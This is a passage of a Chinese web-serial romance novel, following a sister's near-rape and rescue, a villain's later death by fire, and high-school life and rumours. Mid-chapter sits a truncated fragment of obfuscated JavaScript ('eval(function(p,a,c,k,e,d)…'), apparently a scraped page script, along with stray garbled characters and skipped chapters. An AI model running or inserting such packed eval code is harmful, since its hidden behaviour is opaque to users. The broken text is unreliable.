说着他弯腰从床底拿了一根绳子将宋芳结结实实地绑起来,在这过程中被宋芳狠狠踹了一脚,他又发疯抽了她一耳光:“妈的,你们女人都一个样,给脸不要脸。” 绑完后他神色又变得温柔起来:“你乖一点,只要你乖乖地,我保证以后不打你。” 宋芳头皮发麻,再次确认了他精神有问题,急得满头都是汗:“你冷静一点,我不是你前妻,我是宋芳。” 方文彬笑了,目光毫不掩饰地落在她身上每一次,让端正的五官变得无比猥琐丑陋:“我知道,你可比那个臭婊子迷人太多了,你好白,一双腿勾得人移不开视线,每次见面都想让你夹上来。” “砰砰砰——” 这时门外传来震天响,似乎是什么敲打着铁门。 宋芳赶紧转移话题:“有人敲门。” 方文彬却什么都听不进去,诡异地盯着她,手朝她伸出来,宋芳本能地又一脚踹过去,却被他压回床上。 宋芳尖叫:救命!” 外门的铁门锁终于被人砸开,沈明松几步冲上来撞开卧室门。 宋尔雅追着进来,刚看清里面情形,想都没想就用水果刀往方文彬屁股上扎了进去。 她跑出门前顺手揣了好几把小刀。 方文彬捂着屁股吃痛地跳起来,手还没抓到她,就被沈明松扯着头发到了客厅外。 两人扭打了起来。 宋尔雅忙割开宋芳身上的绳子,宋芳才得了自由就拉着妹妹往门外跑。 闹了这么大的动静,吵得邻居都站在楼道外张望是怎么回事。 “报警,快报警,里面有疯子!”宋芳向他们求救。 直到警察来了之后,宋芳才瘫软地坐在地上哭起来,边哭边骂方文彬这个天杀的。 ~ 从公安局做完笔录出来已经是第二天了,方文彬涉嫌绑架他人,被拘留起来。 宋芳心有余悸,她脸肿了一大块,回家后宋尔雅给她抹了些药,用冰棒给敷脸。 “姐姐已经没事了。”宋芳拍拍妹妹的手,脸色还是不太好,“你和明松怎么会出现在方文彬家里?” 宋尔雅眨眨眼,想不出解释的理由,总不能说未来的沈明松给了她预警,让她知道六月份一定会发现什么。 她后怕转移话题:“是方小娟,是她把你交给那混蛋的。” 宋芳沉默了,想起是喝了方小娟给的水后才彻底没了意识的。 以她个性应该是火冒三丈的,可现在她一声不吭。 宋尔雅明白每个人都想单独静静的情况,便出去把门关上了。 沈明松坐在院子外没走,手指夹着点燃的半根烟。 “你又抽烟。” 沈明松便将烟丢地上,就鞋子碾灭了:“芳姐没事吧?” 宋尔雅摇摇头,被朋友背叛,又差点被强\奸,身体没事,心灵上可能会蒙上层阴影。 沈明松:“来和哥说说,你是怎么知道会发生什么事的?” 宋尔雅来找他求助时,说有人要害她姐,沈明松起初还认为小姑娘考完试闲着没事干了又来都他逗玩,直到她说了方文彬名字后,他才重视起来。 她急得快哭了,他也就没时间考究她话里真假。 “这是秘密。”宋尔雅为难地说,她招招手示意让沈明松凑耳朵过来,“我和你说了,你可别说出去。” 沈明松疑惑地偏了偏头,把耳朵凑过去。 “因为我有超能力,能预知未来。” 沈明松站起来往门外走了几步,又折回来敲她脑袋:“都什么时候了,还和你哥开玩笑?” 宋尔雅还是一本正经:“我真没开玩笑。” “那你说说,未来是怎??x?么样。” “未来哥哥很有钱,让我想怎么花就怎么花。” “做梦呢?”沈明松两边脸都给她掐了。 他掐的一点都不疼,宋尔雅还和他皮:“没做梦,未来的你就是很喜欢我,遗产都想留给我。” 沈明松大脑短暂的空白:“胡说!” “我没胡说,你现在不就很喜欢我了?” 沈明松改用拳头不轻不重地锤她脑袋,骂了一句“没睡醒就继续睡”,转身就走了,这一次没再折回来。 宋尔雅叹气:“唉。”—— 作者有话说:宝,你们还在看吗[爆哭] 第29章 第 29 章 新生 宋芳比宋尔雅想象要坚强, 很积极地去公安局做了好几次笔录。 恐惧归恐惧,但她不能放任那神经病这么欺负人。 然而方文彬关了没几天,就被人保释出来了。 宋芳担心方文彬会出来报复他们, 她把工作辞了。 她冒出逃到外省的想法,和姑姑打了好几次电话,姑姑以为她是想出来找工作, 热情喊她出来。 宋芳心动了却又犹豫,她可以走, 可妹妹怎么办呢?她还是要继续留下来读书的。 宋尔雅倒是非常支持她出去的, 自己又不是生活不能自理。 宋芳日记里提到,方文彬没多久就死在火灾中。 不过她也担心自己这次改变了母亲命运, 会不会也连带着改变了方文彬的命运, 万一他没被烧死可怎么办? 而方小娟被当作同伙也被拘留了起来, 她在里面走了一遭, 吓得什么都说了。 她口供中透露了更多被困在会所工作的女人,有些是自愿的, 有些是被骗来的,还有拐卖进去被迫的。 这涉及到更大案件, 引起了上面领导注意下令追查。 暑假中旬时, 风情街的那家夜总会被停业整改, 作为夜总会的管理人员,警察再次传唤方文彬时, 他家已经人去楼空。 周强作为幕后老板也被带走协查,因为证据不足, 一个月后又被放了出来。 他小弟来开车浩浩荡荡地在拘留所门口接风洗尘,还点燃了长长几串鞭炮,白茫茫的硝烟将目送的警员笼罩在其中。 这些事都成为了椰城饭后闲谈, 说这个强哥背景强大,连警方都奈何不了他。 洗尘宴上,被警方下了逮捕令的方文彬跪在周强面前:“强哥,这次你得救我。” 这些日子里他东躲西藏,早没了表皮上的那层斯文,乱糟糟地胡子都没空刮,身上一股馊味。 周强摸着自己的光头,为难道:“不是强哥不帮你啊,小姐们卖卖酒,跳跳舞,都是来正经赚钱的,谁让你逼她们卖肉了?老子差点都要被你害死了,你还有脸出现在老子面前?你还是去自首,争取少判几年。” 方文彬双眼猩红,明白周强是要把事情都往自己身上推了,他已经是亡命之徒没有后路,鱼死网破道:“强哥,你能保证我不会在条子面前说些什么吗?” 周强抖了抖烟灰。 “我老婆她在你家吧。”方文彬笑了,声音嘶哑难听,“应该说她在你家花园底下是不是?你说那下面究竟埋了多少个人呢?” 周强香烟燃尽,他又点了一根,打火机照亮他脸上狰狞疤痕:“你知道什么?” “我什么都不知道,也可以什么都知道。” 那根香烟再次燃尽,周强说:“你去找老三,跟货船走。” ~ 宋芳惶恐不安地度过一个暑假,这期间方文彬都没再出现过,也许他为了躲避警察的追捕早就逃到外面去了,没空找她麻烦。 生活恢复到平静,宋芳收拾了行李,说要出去外面看看。 椰城到深市路途遥远,乘船出去后还要转火车,沈明松帮她把行李扛上船。 宋尔雅还是有些不舍抱住宋芳撒娇:“姐姐,你一定要经常给我电话哦。” “等姐姐到那边稳定下来,就接你过去玩,你自己一个人在家也要好好学习。”说完宋芳又觉得自己说的多余了,她这个妹妹虽然有些调皮,但很少让人操心过。 船开动了,宋芳要开启她新的人生,宋尔雅站在码头挥手,直到海面上的客船身影越来越小。 祝你新生。 宋尔雅默默祝福,因这场离别高兴而又有些忧伤。 宋芳不是每天都要围着她转的,她也要有自己的人生了,而她在这里只能作为妹妹,祝福她。 宋芳回头望渐渐远去的码头,人群小得像蚂蚁,纵然心中不舍,她也得去迎接新的生活。 经历的长途火车的折磨后,宋芳终于顺利到达深市的姑姑家,她整理行李时发现了一叠钱。 每一张都很新,是从银行取出来的。 她从来没有过问过妹妹存折里有多少钱,也不晓得居然会有真么多,大概是全取出来了,都偷偷放她行李里了。 ~ 每年开学都会下雨,冰凉的雨水缓解了酷暑炎热。 陶冬冬去了五中,要住宿,只有周末能回家。她遗憾不能和宋尔雅安一起上学了,宋尔雅安慰她高中只是开始,一切都还来得及,她们还有机会一起念大学的。 并且等她有了自己目标之后,也不一定会想和自己念同样的大学,现在的难过是短暂的。 陶冬冬耷拉眉眼:“你想考什么大学?” 宋尔雅说了所有人都想去的那两个知名学府。 陶冬冬:“……” 她这辈子没希望了。 九月一日,德育门口拉了许多惹眼横幅欢迎新生入学,树上挂满小彩旗,放眼看去人山人海,很多学生家庭优渥,私家车占满了学校预留的停车位。 门口进去就是一个招生广场,摆满了各个班级的新生报名摊位,由高年级学生负责。 学校广场上有一块很大的石头,上面刻着:书山有路勤为径。 宋尔雅十六岁那年就退学了,后来也是请老师来家里教的,这也算是她头回念高中。 报名流程都会有学生会的学长学姐带领,宋尔雅不喜欢和别人挤一间宿舍,能不住宿她就不住,交完学费后学长带着她去认教学楼找教室。 一路上有人看过来,问带路的学长她是哪个班的小学妹。 开学报名有两天,第三天才正式开始上课,班级里的同学报道完毕。 班主任陈媛媛拿着学生名单进来,她烫着微卷的头发,大概三十来岁,先是自我介绍一番,然后扫过讲台下所有学生:“宋瑶同学是哪一位,站起来让老师看看。” 宋尔雅大大方方的站了起来,迎接那些目光。 陈媛媛目光一亮,这个女同学是保送进来的,中考上拿到分数也很优异,得知她被分到自己班时,陈媛媛兴奋得一晚都睡不着觉。 “看来还是位美女呢,老师很高兴你能来到高一一班。” 自我介绍就从宋尔雅开始了,同学们一个接一个地站起来让大家认眼。 班里男女比例平衡,女生就十来个,宋尔雅在女生堆里很快就打成一片,半天不到就有人约她一起去上厕所。 第一学期陈媛媛按成绩来选班干部,宋尔雅毫不意外当了班长。 开学要军训一个星期,男男女女都站在太阳底下遭受酷刑,好不容易熬过去,大家都黑了一圈,穿上了学校定制的蓝白配色校服更显黑了。 同桌李秀娥捧着宋尔雅的脸翻来覆去地看:“班长,你到底用了什么防晒霜,效果那么强?” 人家晒黑她晒红,温度下来后她肤色就恢复如常,就是被晒伤了,下巴脱皮。 宋尔雅都不敢碰脱皮的地方,火辣辣的疼。 李秀娥好心的把自己的药膏拿出来给她抹。 宋尔雅感激不尽,一看这女生就知道自己高中生活不会太差。 她养了好些天才把皮肤养回来。 高中这个年纪正是青春少艾,谁都喜欢看好看的人,学习之外谈论的不是电影明星,就是学校里的长相出众的那几个。 比如高三七班的金思明,又高又帅,打篮球特别好,广播站的明秋月歌声空灵动人,高二明芝兰娇小可人 也有人说宋尔雅长得像少数民族,她眼窝很深邃,瞳孔颜色很浅,像晶莹剔透的琉璃。 她和宋芳都这种长相。 有男生找过来说想和宋尔雅交朋友,问可以和她互相写信交流吗,又或者直接往她课桌里塞。 宋尔雅拆开过一封,写信那人在信上说他每次见到她都很自卑,觉得她像一位小公主一样高贵,纯白,让他心里酸涩得像颗半青不熟的番茄。 宋尔雅:“???”什么鬼番茄。 她以前没有接触过这??x?个年纪的男生,唯一认识的只有段西瑞,段西瑞傻归傻,没这么搞笑。 晚自习放学了,她装了些试卷晚上回去做,那些信叠好留课桌里。 后排没走完的男生见状,用手肘撞撞旁人:“快!追上去。” 学校提供车棚里供教师学生使用,车辆堆得满满当当,款式大差不差,防止认错有人会在车身上用防水笔写点或画点什么做标记。 宋尔雅弯腰查找时,察觉到书包被人拉开,往里面塞了什么。 吓她一跳,回头一看是沈明松。 沈明松穿着和她同款校服,刚刚应该是运动过出汗用冷水冲了头,发丝上挂着水珠,水渍一路湿到胸口下,他在宽大的口袋里又掏出了一把零食给她。 “我不吃,都给你。” 饼干和糖果混在一起,她双手都没拿得完,沈明松继续往她书包里放。 宋尔雅接过:“太多了,哪里来?” 直到鼓鼓囊囊的口袋瘪下去,他用一种“吃了吗”的口吻和她说:“方文彬死了。” 宋尔雅猛然抬头:“怎么死的?” “烧死。” 她瞬间喜上眉梢,嘴巴不受控制的咧开,命运果然还是随着大致方向滚动了,该死的还是会死。 这对她来说是好事,方文彬早死早安心。 然而下一刻乐极生悲,宋尔雅发现自己自行车后轮瘪瘪的,明显被人用刀子扎了洞把气都放了,完全骑不了。 她懵了。 数学老师是个古板的小老头,脾气古怪,动不动就体罚学生,听说上一届的学生恨他恨得要死,隔段时间就会有人偷偷去扎他自行车轮胎。 联想到着,宋尔雅皱眉,她是有些小脾气,但才开学不久自己没来得及得罪过谁吧? 沈明松怫然越过她身后,视线锋利如刀,捕抓到那一闪而过的身影,额发打下的阴影掩过阴鸷眉眼。 宋尔雅扭头看去,没发现什么异常。 自行车轮胎彻底报废了,沈明松让她先坐公交车回去,他帮她看看还能不能修。 她点点头,纳闷地往公交站走,思考着究竟是谁要害她? 好在学校离家不远,车上都是同校学生,下车后也有人和她结伴而行走回到家 李姨看见她回来就招呼:“瑶瑶回来了,锅里有宵夜,快去吃。” 宋芳走后沈明松从家政公司找来的李姨来照顾明珠,怕自己晚上不回家明珠没饭吃。 宋尔雅都是在学校食堂吃,明珠偶尔会给她留宵夜。 …… 修车行里,老板将车轮内胎拆了下来,看着那不大的刀口:“就破那么点,补补就行。” 沈明松态度坚决:“换了。” “好嘞。”换一个全新的轮胎老板还能多赚一点,当下就去找材料换上,好奇看一眼体格高大的少年,又去看他身前战战兢兢的男生。 男生干巴瘦弱,明显很怕少年,半天屁都放不出来一个。 沈明松玩着打火机:“她得罪你了?” 男生用力摇头。 “那你欺负她?” “没有没有!”男生连连摆手,汗水湿透了后背,结结巴巴地才说出一个理由。 他放学想和宋瑶一起走,就把她自行车弄坏了,到时候就能邀请她坐自己后座上送她回家,他的朋友都是这样追女生的。 “我只是喜欢……” 男生话未说完,就被沈明松踹了一脚跪倒在地上,疼得龇牙咧嘴,才抬头又赶紧低下,不敢去面对那张阴沉的脸。 沈明松眼神很冷,多看一眼就要上去打人似的。这些二百五惯会以欺负人的方式去接近女生,脑子被车碾了。 老板误会什么,飞快地把轮胎换好,插嘴道:“同学,换好了。” 沈明松沉默了十几秒,忍着没上去补一脚:“还不付钱?” 男生领悟过来赶紧去掏口袋,沈明松推着车出去搬上摩托车后座用绳子绑住,无意撇到车身上的小字。 他低头去看。 尔尔—— 作者有话说:谢谢宝宝们的鼓励,码字都有力气了些[哈哈大笑][哈哈大笑][哈哈大笑] 第30章 第 30 章 谁是你妹妹 摩托车声音一响, 宋尔雅就跑出来了。 自行车被五花大绑在车后座上,沈明松解下来让她推着在院子转了几圈。 车轮子轱辘轱辘转,见又能正常使用了, 宋尔雅都不知道他是怎么修好的,笑靥如花:“谢谢哥哥。” 她才洗完澡不久,头发半干地披在脑后, 满身水气,发尾坠着的水珠滴到沈明松手臂上, 微凉触感让他悄悄后移了一点, 怕自己身上灰尘给她染上。 他抓着车把手:“你仔细看看,是你车吗?” 宋尔雅闻言又扭头去检查, 双手掰了掰车篮子, 又去看她留下的标记确定道:“是我的啊, 这还留着上次被撞的痕迹呢。” 沈明松便不多问了。 宋尔雅是个很能唠的小女孩, 宋芳离开后晚上没人和她聊天,就去找明珠聊天。但人家作息好, 看完连续剧就犯困了,撑不住。 有时沈明松在家, 她就闯进他房间缠他说话, 赶都赶不走。害得他在房间内连背心都不敢穿, 永远衣冠完整。 沈明松不在时,她就回隔壁自言自语, 切换语言练习口语,怕太久不说就陌生了。 日子也属实无聊, 说实话她也没多爱学习的,就是养成习惯了。 宋芳一去到姑姑那边就打电话回来,给了可以联系的座机号码, 她问宋尔雅怎么把钱都给她了。 宋尔雅说没都给,自己留有够生活。 宋芳都不知道要说什么好,打算一发工资就赶紧给妹妹打钱。 每个年代都没有它的特色,世纪的末尾通讯并不发达,亲人联系大多是靠信件。 宋尔雅觉得写信也很有意思,文字能表现出更多意思。她隔三差五就给母亲写信,有时她捡到朵花都会塞进信纸里寄过去,像抓到昆虫给妈妈炫耀的小狗。 这时邮寄没后世那般追求速度,信件一路跋山涉水,缓慢地投递出去。 宋芳回信被寄回来时,已经是好多天过去了,她说自己已经在工作了,还给宋尔雅打钱回来,怕她没钱吃饭。 德育管得十分严厉,宋尔雅不能做那些小生意了,最主要的重心还是要放在学习上,好在她的存折里还留有一笔小钱。 只是钱会花完,她得找个办法赚钱。 第一个月考成绩出来后,她远远甩了第二名几十分,在分数榜下,依旧有目光在凝视她,不过这次他们不议论她好不好看了,而是叫她年级第一。 宋尔雅在走廊上看完年级成绩榜满意回到教室,路过后门听几个男生在聊天。 “那天来了好多警察和法医,那个人被烧得面目全非,骨头都黑成碳了。” “得罪什么人,被仇杀吧?” “肯定是,他全身被铁链捆着。” 宋尔雅凑过去:“你们在说什么?” 男生们顿了一下,其中一个面色古怪,偏头躲开她的视线。 倒是另一个男生回答了:“没什么,就是李达家附近烧死了个人,很吓人,你还是不要听了。” 宋尔雅眼皮一跳,倒也没刨根到底,iPad相册里的那则新闻截图,就是一起某男子被仇家浇汽油烧死的凶杀案,大概率就是方文彬了。 沈明松果然是故意留给她看的。 方文彬死了就行,怎么死的不重要。 等她走后,男生拍拍李达肩膀:“不是喜欢人家吗,怎么和你说话又当缩头乌龟了。” 李达被踹过的地方在幻疼,他支支吾吾:“你们知道高三的沈明松吗?” “怎么了?” “班长和他关系不一般,你们最好也别招她了。” 沈明松被人议论从来不会是有多帅,打球有多好,而是他是个混的,打架狠得要命,也很会赚钱,连学校外那条街的小混混都叫他一声哥。 可他学习又很好,和宋尔雅一样是特招生,老师懒得管他,只期待他赶紧毕业给学校提高本科率,然后走人。 然而李达这些话一传出去,又变了味。 一天课间,宋尔雅和玩得好的几位女生在对试卷错题分析时,孙梦犹犹豫豫地走过来,欲言又止的看了她好几次。 孙梦很内向,在班级存在感不高,似乎没有朋友,老是带着耳机一个听歌,和人说句话都要在心里设想千百次。 宋尔雅轻轻叹气,自动开口问:“怎么了?” 孙梦求一听眼睛都亮了起来,救地望着宋尔雅,委屈的说:“班长,高三的王子恒把我随身听借走了,好多天都没还。” 她那台随身听是国外牌子,比杂牌价格贵上数倍,说是借实际就不会还回来,和被抢??x?没区别。 宋尔雅感到莫名其妙,也无能为力:“我也不认识王子恒,你找我干嘛?” 总不能让她去抢回来吧,小小班长没这么大本事啊。 孙梦的表情都要哭了,眼圈说红就红,弄丢了那么贵的东西,被家里知道她就要完了。 还是李秀娥反应快,搂着宋尔雅肩膀嘻嘻笑:“沈明松不是你对象吗?孙梦应该想让你去找他帮忙要回来,王子恒和他一个班的。” “啊?”宋尔雅目瞪口呆,“谁说的,是谁造我谣?” “居然是造谣的吗?” “沈明松不是你对象?” 宋尔雅:“高中生哪来的对象?你们听谁说的我和沈明松交往?” 在场几个女生都摇头,谣言都是都越传越离谱的,到他们耳朵里就这样了,至于源头是什么没几个人知道。 学校很大,高一与高三都不在同一个楼层,但也还是能撞见的,宋尔雅每次都会和沈明松挥手打招呼,而那个冷着脸的高三学长在看到她后,变得没有那么可怕了,甚至会笑。 有次沈明松还拉开拉链往她书包里塞零食,她还把那些零食分给几个女生吃了。 她们听见那些流言时便当真了。 宋尔雅哭笑不得和她们解释清楚。 李秀娥满脑袋梦幻泡泡:“邻家哥哥,青梅竹马,听起来更美好了。” 等到下节课课间时,宋尔雅招架不住孙梦可怜兮兮的纠缠。带着她去了高三所在楼层,抱着一丝希望和沈明松说明来意。 沈明松靠在教室门边上,身高快要突破门框了,眉眼锐利,他往教室里探身:“王子恒,出来。” 他这一喊,班级瞬间安静,最角落的男生忙站起来往这边走,神色惶恐。 东西比想象的还顺利地要回来了,孙梦连连道谢,怪不得她要先来找自己,原来沈明松说话这么管用。 宋尔雅忽然想到狐假虎威这个词。 陆年从窗户探出脑袋来:“妹妹,我这还有些零食你还吃不吃?” 宋尔雅摇头。 陆年:“为什么不要,松哥每次都抢我的拿去给你?” 宋尔雅总算知道他哪来那么多零食给她了。 沈明松将陆年脑袋按回窗户里,啪一下关上,催促她:“要上课了还不走?” 他说话时并不看她。 宋尔雅怀疑他是不是偷偷说过自己坏话,心虚了,让他以后别抢了,她嘴巴没那么馋。 沈明松推她:“回去上课。” ~ 青春只有怀念时才美好,真正去体验了往往是课堂上老师催眠的声音,繁重的学业,和迷茫的未来。 课间里广播站会放些歌曲调节学生情绪,舒缓心情。 如果是明秋月值班的话,她会跟着伴奏唱歌,音调里饱含感情,声线空灵悦耳。 宋尔雅没有留意过未来有没有明星歌手叫她这个名的,但她真的在闪闪发光,估计的是不少人少年时代的女神。 李秀娥就是她粉丝,会偷偷跟着哼唱。 “秋月学姐唱歌超好听的,又会弹琴,家里又有钱。”几个女生课余时间围在一起议论。 李秀娥说:“不过学姐高三了准备要退出广播站,他们社团正在招新,我们要不要去参加?” 有人说好,有人说没兴趣。 宋尔雅兴致勃勃地跟着李秀娥一起去报名,因为听说去广播站可以不用晨练。 德育的晨练是围着操场跑八百米,每天雷打不动的,老师不轻易给假。每次跑下来宋尔雅骨头架都要散了,累得像条死狗。 她遭受不住这样的折磨,怕那天就猝死了,她爱惜生命爱得要命。 面试地点在学校的一个小礼堂里,主审官是两位老师,和广播站的老人,明秋月就在其中,她看到宋尔雅还笑盈盈地给她比了个加油的手势。 整场面试都是公开的,谁都可以过来凑热闹,其余面试的学生也在台下候着。 宋尔雅上台没有李秀娥那样紧张,这种场合对她来说小意思。不怯场、不害羞,挑一篇文章来展示自己普通话标准程度和音色。 舞台明亮的灯光洒下来,照亮少女自信从容的身姿,茂密的长发如云,肤白盛雪,唇色又是浓烈对比的娇艳,容貌如夜里盛开的山茶。 她臭屁的展示英德双语,如果不是时间不够她还想用西班牙语来一段。 两位老师对视一眼而笑,结束后批评了她不够专业,最后却又就给打了高分。 她下来后,明秋月还特意来和她说话:“你居然还会德语,太厉害了吧。” 宋尔雅不谦卑:“嘿嘿,小意思小意思。” 明秋月也为她的自信愣了愣神,捏她脸:“很好很好,我们广播站就需要你这种放得开的。” 简称不要脸。 宋尔雅在明秋月眼里看到了知音难觅的激动,果然下一秒她问:“你要不要来我的乐队,你音色很漂亮。” 平时学校的汇演里,明秋月和朋友组起来的乐队往往是压轴节目,听说他们自创的歌在全市里也是拿过奖。 宋尔雅虽然被夸得要飘上天,但她唱歌着实走调严重,自娱自乐一下还好,跑到大庭广众下就是丢人现眼了。 脸皮再厚也是需要点面子的。 她拒绝了。 而听到对话的明芝兰待不住跑出了剧场。 她从出生起就和明秋月比,比学习比特长比容貌,比什么都落堂姐一大截,先是进不去她的乐队,现在连广播站都刷她下来,气得乱踢路边垃圾桶。 她咬着牙,想起刚刚和堂姐说话的女生更气了,本来她和堂姐一起都能被称为明家双姝,在学校很受欢迎。 可自新生开学后,宋瑶名气都要盖过她了,大家都知道高一一班有个学习好有特别貌美的小学妹。 明芝兰本能的不喜欢她,认为她和明秋月一样讨厌! 她不想宋尔雅被选上。 但最终宋尔雅和李秀娥都被选上了。 也不是获得什么国际大奖,宋尔雅跑回家还是在明珠面前嘚瑟一会儿,又打电话和妈妈说求表扬。 沈明松看她又蹦又跳的:“中彩票了?” 宋尔雅:“我要当明星啦!” 沈明松:“?” 她继续自卖自夸:“校园广播站里一颗冉冉升起的新星。” 沈明松已经习惯了她的自恋,还是忍不住想这小姑娘脑子是怎么构成的,人怎么可以张狂成这样? 其实宋尔雅更高兴的是不用跑步了。 ~ 晨曦温柔沐浴在每一个睡眼朦胧还要跑步的学生身上,体育老师可不会温柔,吹着口哨让人动起来不许偷懒。 宋尔雅在小小的广播室里躲懒,听明秋月给她讲解机器的操作,只要不让她跑八百米,让她学什么都行。 上岗第一天,明秋月就让她试着在全校师生里开口说话,把小话筒给她。 宋尔雅想了想,决定分享自己平时的读书摘抄。 八百米晨跑之后,会有十来分钟的自由时间,大家懒懒散散的吃早餐,没有心情听广播在放什么。 沈明松抬头看食堂外的大喇叭。 “我的灵魂绝不懦弱, 在世界上的风暴频仍之区也不颤抖忧虑, 我见到天堂的光辉闪烁, 同样闪烁的信仰使我克服着恐惧 ……” 陆年饿极了,两口一个包子,偷偷伸手拿了对面一个,见人也没任何反应,他打了一个响指:“松哥,回神了。” 学校放那些枯燥无味的英文朗诵有什么好听的,是韩梅梅嫁人,还是李雷移情别恋了。 陆年听了好一会才听出不对劲:“这声音,是咱们妹妹的吧?” 沈明松面无表情:“谁是你妹妹?” 陆年:“……” “你妹、你妹。”—— 作者有话说:引用: “我的灵魂绝不懦弱, 在世界上的风暴频仍之区也不颤抖忧虑, 我见到天堂的光辉闪烁, 同样闪烁的信仰使我克服着恐惧……”——艾米莉·勃朗特《我歌唱夜色将尽《 》 34. 第 34 章 宋尔雅趁短暂的课间小跑过操场,手里拿了自己的水壶跑去找人。 阳光灼灼,她就晒了一会功夫,身上就冒汗了。 沈明松顶着烈阳被罚站了一节课,嘴唇起了层死皮,精神有些颓靡。 宋尔雅把水壶拧开递给他,他拿着水壶并没有第一时间去喝,脸上犹豫。 瓶子被清洗得很干净,之前用来泡过麦乳精缘故,洗了好几次都还残留着股淡淡的奶味,让人怀疑里面的水会不会也是甜的。 课间短暂,宋尔雅催促:“不烫了,你快喝呀。” 学校提供免费热水,她是提前接好放凉了的,就怕这天气喝热水越喝越渴。 沈明松口干舌燥,他把水倒盖子里,到底没直接用嘴去触碰瓶口。 宋尔雅看他那么费劲喝水真不解:“我又不嫌弃你。” 沈明松心想这不是嫌不嫌弃的问题。 十五岁的少女懵懵懂懂,总是不懂得要保持距离感。 他低头喝水,一只手忽然伸过来触碰他额角,沈明松速度极快地抓住了那只手,手中水洒了一下。 宋尔雅吓了一跳,拿着手帕僵住了,一双眼睛无辜又茫然。 她只是想帮他擦擦汗,又不是搞偷袭,他反应这么大做什么。 她的手腕特别纤细,仿佛稍微用力就能折断,沈明松不舍得过于用力,只轻轻扣着。 “我自己来。” “哦。”宋尔雅把手帕给他。 这是明珠绣给她平时擦手用的。 她不想要常见的花朵绣图,便自己画了猫猫卡通图,让明珠绣的。 沈明松看到那只舔爪的三花小猫,都不知从哪下手好,他抬手用手臂抹了抹汗,小小手帕握在掌心没有使用。 宋尔雅没有很注意,她看他把水都喝完一滴不剩:“哥哥你还渴吗,我再去接?” “够了。” 谢星移看过来,少女脸蛋白里透红,一双眼睛生得多情,叫“哥哥”的调调像种情调,妖精一样。 他抱着手臂,本是对小情侣不屑的,可他身上的水分都被蒸发了,口腔里也干涸得厉害,忍不住插话:“喂,这里还有个人呢?” 宋尔雅翻他一个白眼,转身背对他 谢星移舔舔干裂嘴唇,笑了:“变脸挺快的?” 宋尔雅没有给他水喝的意愿。 谢星移跳下升旗台,大步往小卖部那边过去。 凉白开有什么好喝的,他稀罕? 上课铃响宋尔雅不得不回教室,她跑得并不快,一个操场的距离都要花两三分钟。 上课老师看到迟到的人是她,象征性说她两句,又关心她怎么喘得那么厉害。 宋尔雅说自己有点低血糖,走路脚软慢了些。 这话也没说谎,她从大太阳下跑进教室,双眼有些发黑。 老师赶紧让她进来坐下,又看了眼后排的谢星移,最终没责问他。 谢星移猛灌下瓶中饮料,将空瓶抛进垃圾桶里,傻子才会一直留在那里在那罚站。 这节是枯燥无味的物理课,头顶风扇转动出催眠的节奏,谢星移趴在桌面上遥望前排少女高高的马尾,脑海里冒出个很想欺负她的想法。 ~ 晚上,凉风习习吹散白天热气,沈明松手指捏捏鼻梁骨缓解用眼过度的疲倦时,有人喊他说有老师找他。 他来到科室,陈媛媛正在批改试卷,抬眸示意:“坐。” “同学你好,我是高一一班的班主任陈媛媛,宋瑶是我的学生。” 沈明松点头。 陈媛媛也不拐弯抹角,直说了:“老师找你也不是什么大事,就是最近听过你和宋瑶在谈恋爱是不是?” 沈明松第一时间就想笑,简直无稽之谈,他反驳得极快:“不是。” “其实承认了也没关系,老师知道你们一起长大,关系肯定要比常人好,但是吧,你看你也快毕业了,到时候一拍屁股就走了,去到大学也遇到更多人,更自由,而宋瑶呢,她才高一。” 学校向来不提倡早恋,陈媛媛更是担心宋瑶,那孩子年纪小,学习刻苦,是个好苗子,若是半道走错了什么路,她这个当老师的就是没起到监督作用。 沈明松摆出一副堂堂正正的模样:“老师你多虑了,都是些捕风抓影,我们是兄妹。” 沈明松说得笃定,陈媛媛迟疑了,学生之间的传言本就半真半假:“不是最好,我们做老师的都希望你们好好学习将来考个好大学,到时候遇见的人和事都多了去,可别局限于这个年纪。” 沈明松想,将来她会遇到什么样的人?她这个年纪,好像也会喜欢人了,她会喜欢什么人? 陈媛媛话里话外就一个意思,让他别影响小姑娘学习,她不是谈恋爱的时候。 沈明松也清楚,回到家后他去洗澡,一小块手帕飘落下来,他弯腰捡起时鬼使神差之下嗅了一下,有淡淡馨香,是她身上独有的。 他把手帕用水打湿洗了洗,那股香依旧残留,萦绕在他鼻尖。 他从来没关心过什么流言,既然都能传到老师耳朵里了,必然早就在学生中发酵成型了。 清晨晨跑结束后,宋尔雅照例去广播站。 明秋月高三最后一学期不能再花费多余时间在这上面,皆有学弟学妹替上了她的位置。 李秀娥整理出各班的投稿信件,抽出其中一份:“这还封告白信呢,谁这么大胆敢写出来还寄到我们这来了,必须要念。” 其他人也是看热闹不嫌事大的,纷纷表示同意。 写信借着匿名肆无忌惮地给喜欢的人写信,将心思描绘成一颗青涩的苹果,在未熟的季节里充斥着酸和苦。 几个男生躲在学校后山聊天:“这是我投的,班长一定不知道那封信其实就是写给她的,不过能被她念出来我就很满足了,她声音真甜啊,上次我问她数学题,她说话像撒娇一样。” “人家骂你蠢东西,怎么就撒娇了?” “嘿嘿,那也好听。” “李达,你还敢想呢,也不怕被班长对象知道。” “我就想想。”李达停顿了好一会儿,“等那个沈明松毕业走了,我的机会不就来了。” “得了吧,你也不照照镜子,班长只喜欢好看的,她连作业也要写得漂亮,字一毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“当然喜欢啦。” 她话说得太轻易,太快了,眼眸毫无少女娇羞。 他们熟得不能太熟了,沈明松了解她说的是那种喜欢。 喜欢姐姐,喜欢阿姨,喜欢朋友,喜欢他,都是些没有区别的。 等她长大了,就该知道喜欢的第二种含义,到那个时候,她就再不会轻易说喜欢了。 一时之间他有些说不清道不明的恼怒。 他转移话题,从口袋里掏出手帕丟给她:“还你。” 那手帕被洗得干干净净的,像新的一样,宋尔雅正反两面都看一眼,嘟囔:“这不是我原来那块。” 沈明松冷着脸:“不是你的是谁的。” 明阿姨当时说多做几块手帕,给沈明松也做了。 不过她认为他是不会用这女生气的东西,何况上面还绣了猫咪。 她手里这块是全新的,她想提醒他拿错了,一抬头人没影了。 好家伙溜得真快。 35. 第 35 章 那天后沈明松果真就不和她一起上下学了,宋尔雅有些郁闷。 晚自习下课后她和几位同学前半段路同程,一起踩着自行车嘻嘻哈哈。 